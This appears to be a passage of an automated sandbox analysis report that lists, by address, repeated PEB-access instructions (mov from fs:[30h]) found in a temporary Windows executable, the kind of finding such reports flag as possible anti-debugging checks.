Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4510D mov eax, dword ptr fs:[00000030h]	3_2_32D4510D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFF13E mov eax, dword ptr fs:[00000030h]	3_2_32DFF13E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D77128 mov eax, dword ptr fs:[00000030h]	3_2_32D77128
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D77128 mov eax, dword ptr fs:[00000030h]	3_2_32D77128
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6D6D0 mov eax, dword ptr fs:[00000030h]	3_2_32D6D6D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D406CF mov eax, dword ptr fs:[00000030h]	3_2_32D406CF
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DE86C2 mov eax, dword ptr fs:[00000030h]	3_2_32DE86C2
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0A6C0 mov eax, dword ptr fs:[00000030h]	3_2_32E0A6C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBC6F2 mov eax, dword ptr fs:[00000030h]	3_2_32DBC6F2
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBC6F2 mov eax, dword ptr fs:[00000030h]	3_2_32DBC6F2
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D396E0 mov eax, dword ptr fs:[00000030h]	3_2_32D396E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D396E0 mov eax, dword ptr fs:[00000030h]	3_2_32D396E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4C6E0 mov eax, dword ptr fs:[00000030h]	3_2_32D4C6E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D456E0 mov eax, dword ptr fs:[00000030h]	3_2_32D456E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D456E0 mov eax, dword ptr fs:[00000030h]	3_2_32D456E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D456E0 mov eax, dword ptr fs:[00000030h]	3_2_32D456E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D666E0 mov eax, dword ptr fs:[00000030h]	3_2_32D666E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D666E0 mov eax, dword ptr fs:[00000030h]	3_2_32D666E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D48690 mov eax, dword ptr fs:[00000030h]	3_2_32D48690
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E086A8 mov eax, dword ptr fs:[00000030h]	3_2_32E086A8
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E086A8 mov eax, dword ptr fs:[00000030h]	3_2_32E086A8
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DCC691 mov eax, dword ptr fs:[00000030h]	3_2_32DCC691
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFF68C mov eax, dword ptr fs:[00000030h]	3_2_32DFF68C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680 mov eax, dword ptr fs:[00000030h]	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680 mov eax, dword ptr fs:[00000030h]	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680 mov eax, dword ptr fs:[00000030h]	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680 mov eax, dword ptr fs:[00000030h]	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680 mov eax, dword ptr fs:[00000030h]	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680 mov eax, dword ptr fs:[00000030h]	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680 mov eax, dword ptr fs:[00000030h]	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680 mov eax, dword ptr fs:[00000030h]	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680 mov eax, dword ptr fs:[00000030h]	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680 mov eax, dword ptr fs:[00000030h]	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680 mov eax, dword ptr fs:[00000030h]	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50680 mov eax, dword ptr fs:[00000030h]	3_2_32D50680
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D75654 mov eax, dword ptr fs:[00000030h]	3_2_32D75654
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7265C mov eax, dword ptr fs:[00000030h]	3_2_32D7265C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7265C mov ecx, dword ptr fs:[00000030h]	3_2_32D7265C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7265C mov eax, dword ptr fs:[00000030h]	3_2_32D7265C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4965A mov eax, dword ptr fs:[00000030h]	3_2_32D4965A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4965A mov eax, dword ptr fs:[00000030h]	3_2_32D4965A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D43640 mov eax, dword ptr fs:[00000030h]	3_2_32D43640
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5F640 mov eax, dword ptr fs:[00000030h]	3_2_32D5F640
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5F640 mov eax, dword ptr fs:[00000030h]	3_2_32D5F640
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5F640 mov eax, dword ptr fs:[00000030h]	3_2_32D5F640
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7C640 mov eax, dword ptr fs:[00000030h]	3_2_32D7C640
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7C640 mov eax, dword ptr fs:[00000030h]	3_2_32D7C640
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3D64A mov eax, dword ptr fs:[00000030h]	3_2_32D3D64A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3D64A mov eax, dword ptr fs:[00000030h]	3_2_32D3D64A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D40670 mov eax, dword ptr fs:[00000030h]	3_2_32D40670
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82670 mov eax, dword ptr fs:[00000030h]	3_2_32D82670
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D82670 mov eax, dword ptr fs:[00000030h]	3_2_32D82670
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D37662 mov eax, dword ptr fs:[00000030h]	3_2_32D37662
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D37662 mov eax, dword ptr fs:[00000030h]	3_2_32D37662
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D37662 mov eax, dword ptr fs:[00000030h]	3_2_32D37662
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D53660 mov eax, dword ptr fs:[00000030h]	3_2_32D53660
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D53660 mov eax, dword ptr fs:[00000030h]	3_2_32D53660
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D53660 mov eax, dword ptr fs:[00000030h]	3_2_32D53660
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7666D mov esi, dword ptr fs:[00000030h]	3_2_32D7666D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7666D mov eax, dword ptr fs:[00000030h]	3_2_32D7666D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7666D mov eax, dword ptr fs:[00000030h]	3_2_32D7666D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD3608 mov eax, dword ptr fs:[00000030h]	3_2_32DD3608
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD3608 mov eax, dword ptr fs:[00000030h]	3_2_32DD3608
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD3608 mov eax, dword ptr fs:[00000030h]	3_2_32DD3608
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD3608 mov eax, dword ptr fs:[00000030h]	3_2_32DD3608
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD3608 mov eax, dword ptr fs:[00000030h]	3_2_32DD3608
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD3608 mov eax, dword ptr fs:[00000030h]	3_2_32DD3608
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6D600 mov eax, dword ptr fs:[00000030h]	3_2_32D6D600
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6D600 mov eax, dword ptr fs:[00000030h]	3_2_32D6D600
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFF607 mov eax, dword ptr fs:[00000030h]	3_2_32DFF607
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7360F mov eax, dword ptr fs:[00000030h]	3_2_32D7360F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E14600 mov eax, dword ptr fs:[00000030h]	3_2_32E14600
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D40630 mov eax, dword ptr fs:[00000030h]	3_2_32D40630
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D70630 mov eax, dword ptr fs:[00000030h]	3_2_32D70630
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC8633 mov esi, dword ptr fs:[00000030h]	3_2_32DC8633
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC8633 mov eax, dword ptr fs:[00000030h]	3_2_32DC8633
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC8633 mov eax, dword ptr fs:[00000030h]	3_2_32DC8633
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DED62C mov ecx, dword ptr fs:[00000030h]	3_2_32DED62C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DED62C mov ecx, dword ptr fs:[00000030h]	3_2_32DED62C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DED62C mov eax, dword ptr fs:[00000030h]	3_2_32DED62C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D45622 mov eax, dword ptr fs:[00000030h]	3_2_32D45622
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D45622 mov eax, dword ptr fs:[00000030h]	3_2_32D45622
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D47623 mov eax, dword ptr fs:[00000030h]	3_2_32D47623
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFF7CF mov eax, dword ptr fs:[00000030h]	3_2_32DFF7CF
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D477F9 mov eax, dword ptr fs:[00000030h]	3_2_32D477F9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D477F9 mov eax, dword ptr fs:[00000030h]	3_2_32D477F9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D437E4 mov eax, dword ptr fs:[00000030h]	3_2_32D437E4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D437E4 mov eax, dword ptr fs:[00000030h]	3_2_32D437E4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D437E4 mov eax, dword ptr fs:[00000030h]	3_2_32D437E4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D437E4 mov eax, dword ptr fs:[00000030h]	3_2_32D437E4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D437E4 mov eax, dword ptr fs:[00000030h]	3_2_32D437E4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D437E4 mov eax, dword ptr fs:[00000030h]	3_2_32D437E4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D437E4 mov eax, dword ptr fs:[00000030h]	3_2_32D437E4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6E7E0 mov eax, dword ptr fs:[00000030h]	3_2_32D6E7E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D71796 mov eax, dword ptr fs:[00000030h]	3_2_32D71796
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D71796 mov eax, dword ptr fs:[00000030h]	3_2_32D71796
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE79D mov eax, dword ptr fs:[00000030h]	3_2_32DBE79D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE79D mov eax, dword ptr fs:[00000030h]	3_2_32DBE79D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE79D mov eax, dword ptr fs:[00000030h]	3_2_32DBE79D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE79D mov eax, dword ptr fs:[00000030h]	3_2_32DBE79D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE79D mov eax, dword ptr fs:[00000030h]	3_2_32DBE79D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE79D mov eax, dword ptr fs:[00000030h]	3_2_32DBE79D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE79D mov eax, dword ptr fs:[00000030h]	3_2_32DBE79D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE79D mov eax, dword ptr fs:[00000030h]	3_2_32DBE79D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE79D mov eax, dword ptr fs:[00000030h]	3_2_32DBE79D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0D7A7 mov eax, dword ptr fs:[00000030h]	3_2_32E0D7A7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0D7A7 mov eax, dword ptr fs:[00000030h]	3_2_32E0D7A7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0D7A7 mov eax, dword ptr fs:[00000030h]	3_2_32E0D7A7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E117BC mov eax, dword ptr fs:[00000030h]	3_2_32E117BC
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E1B781 mov eax, dword ptr fs:[00000030h]	3_2_32E1B781
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E1B781 mov eax, dword ptr fs:[00000030h]	3_2_32E1B781
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D407A7 mov eax, dword ptr fs:[00000030h]	3_2_32D407A7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D62755 mov eax, dword ptr fs:[00000030h]	3_2_32D62755
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D62755 mov eax, dword ptr fs:[00000030h]	3_2_32D62755
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D62755 mov eax, dword ptr fs:[00000030h]	3_2_32D62755
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D62755 mov ecx, dword ptr fs:[00000030h]	3_2_32D62755
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D62755 mov eax, dword ptr fs:[00000030h]	3_2_32D62755
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D62755 mov eax, dword ptr fs:[00000030h]	3_2_32D62755
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F75B mov eax, dword ptr fs:[00000030h]	3_2_32D3F75B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F75B mov eax, dword ptr fs:[00000030h]	3_2_32D3F75B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F75B mov eax, dword ptr fs:[00000030h]	3_2_32D3F75B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F75B mov eax, dword ptr fs:[00000030h]	3_2_32D3F75B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F75B mov eax, dword ptr fs:[00000030h]	3_2_32D3F75B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F75B mov eax, dword ptr fs:[00000030h]	3_2_32D3F75B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F75B mov eax, dword ptr fs:[00000030h]	3_2_32D3F75B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F75B mov eax, dword ptr fs:[00000030h]	3_2_32D3F75B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F75B mov eax, dword ptr fs:[00000030h]	3_2_32D3F75B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DEE750 mov eax, dword ptr fs:[00000030h]	3_2_32DEE750
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D73740 mov eax, dword ptr fs:[00000030h]	3_2_32D73740
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7174A mov eax, dword ptr fs:[00000030h]	3_2_32D7174A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D70774 mov eax, dword ptr fs:[00000030h]	3_2_32D70774
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D44779 mov eax, dword ptr fs:[00000030h]	3_2_32D44779
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D44779 mov eax, dword ptr fs:[00000030h]	3_2_32D44779
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D52760 mov ecx, dword ptr fs:[00000030h]	3_2_32D52760
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D81763 mov eax, dword ptr fs:[00000030h]	3_2_32D81763
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D81763 mov eax, dword ptr fs:[00000030h]	3_2_32D81763
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D81763 mov eax, dword ptr fs:[00000030h]	3_2_32D81763
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D81763 mov eax, dword ptr fs:[00000030h]	3_2_32D81763
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D81763 mov eax, dword ptr fs:[00000030h]	3_2_32D81763
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D81763 mov eax, dword ptr fs:[00000030h]	3_2_32D81763
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFF717 mov eax, dword ptr fs:[00000030h]	3_2_32DFF717
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4471B mov eax, dword ptr fs:[00000030h]	3_2_32D4471B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4471B mov eax, dword ptr fs:[00000030h]	3_2_32D4471B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4D700 mov ecx, dword ptr fs:[00000030h]	3_2_32D4D700
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3B705 mov eax, dword ptr fs:[00000030h]	3_2_32D3B705
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3B705 mov eax, dword ptr fs:[00000030h]	3_2_32D3B705
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3B705 mov eax, dword ptr fs:[00000030h]	3_2_32D3B705
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3B705 mov eax, dword ptr fs:[00000030h]	3_2_32D3B705
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6270D mov eax, dword ptr fs:[00000030h]	3_2_32D6270D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6270D mov eax, dword ptr fs:[00000030h]	3_2_32D6270D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6270D mov eax, dword ptr fs:[00000030h]	3_2_32D6270D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0970B mov eax, dword ptr fs:[00000030h]	3_2_32E0970B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0970B mov eax, dword ptr fs:[00000030h]	3_2_32E0970B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D69723 mov eax, dword ptr fs:[00000030h]	3_2_32D69723
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6F4D0 mov eax, dword ptr fs:[00000030h]	3_2_32D6F4D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6F4D0 mov eax, dword ptr fs:[00000030h]	3_2_32D6F4D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6F4D0 mov eax, dword ptr fs:[00000030h]	3_2_32D6F4D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6F4D0 mov eax, dword ptr fs:[00000030h]	3_2_32D6F4D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6F4D0 mov eax, dword ptr fs:[00000030h]	3_2_32D6F4D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6F4D0 mov eax, dword ptr fs:[00000030h]	3_2_32D6F4D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6F4D0 mov eax, dword ptr fs:[00000030h]	3_2_32D6F4D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6F4D0 mov eax, dword ptr fs:[00000030h]	3_2_32D6F4D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6F4D0 mov eax, dword ptr fs:[00000030h]	3_2_32D6F4D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D614C9 mov eax, dword ptr fs:[00000030h]	3_2_32D614C9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D614C9 mov eax, dword ptr fs:[00000030h]	3_2_32D614C9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D614C9 mov eax, dword ptr fs:[00000030h]	3_2_32D614C9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D614C9 mov eax, dword ptr fs:[00000030h]	3_2_32D614C9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D614C9 mov eax, dword ptr fs:[00000030h]	3_2_32D614C9
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFF4FD mov eax, dword ptr fs:[00000030h]	3_2_32DFF4FD
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D464F0 mov eax, dword ptr fs:[00000030h]	3_2_32D464F0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7A4F0 mov eax, dword ptr fs:[00000030h]	3_2_32D7A4F0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7A4F0 mov eax, dword ptr fs:[00000030h]	3_2_32D7A4F0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D694FA mov eax, dword ptr fs:[00000030h]	3_2_32D694FA
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D754E0 mov eax, dword ptr fs:[00000030h]	3_2_32D754E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E4EF mov eax, dword ptr fs:[00000030h]	3_2_32D7E4EF
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E4EF mov eax, dword ptr fs:[00000030h]	3_2_32D7E4EF
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7B490 mov eax, dword ptr fs:[00000030h]	3_2_32D7B490
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7B490 mov eax, dword ptr fs:[00000030h]	3_2_32D7B490
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DCC490 mov eax, dword ptr fs:[00000030h]	3_2_32DCC490
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D40485 mov ecx, dword ptr fs:[00000030h]	3_2_32D40485
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7648A mov eax, dword ptr fs:[00000030h]	3_2_32D7648A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7648A mov eax, dword ptr fs:[00000030h]	3_2_32D7648A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7648A mov eax, dword ptr fs:[00000030h]	3_2_32D7648A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E4BC mov eax, dword ptr fs:[00000030h]	3_2_32D7E4BC
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D424A2 mov eax, dword ptr fs:[00000030h]	3_2_32D424A2
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D424A2 mov ecx, dword ptr fs:[00000030h]	3_2_32D424A2
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DCD4A0 mov ecx, dword ptr fs:[00000030h]	3_2_32DCD4A0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DCD4A0 mov eax, dword ptr fs:[00000030h]	3_2_32DCD4A0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DCD4A0 mov eax, dword ptr fs:[00000030h]	3_2_32DCD4A0
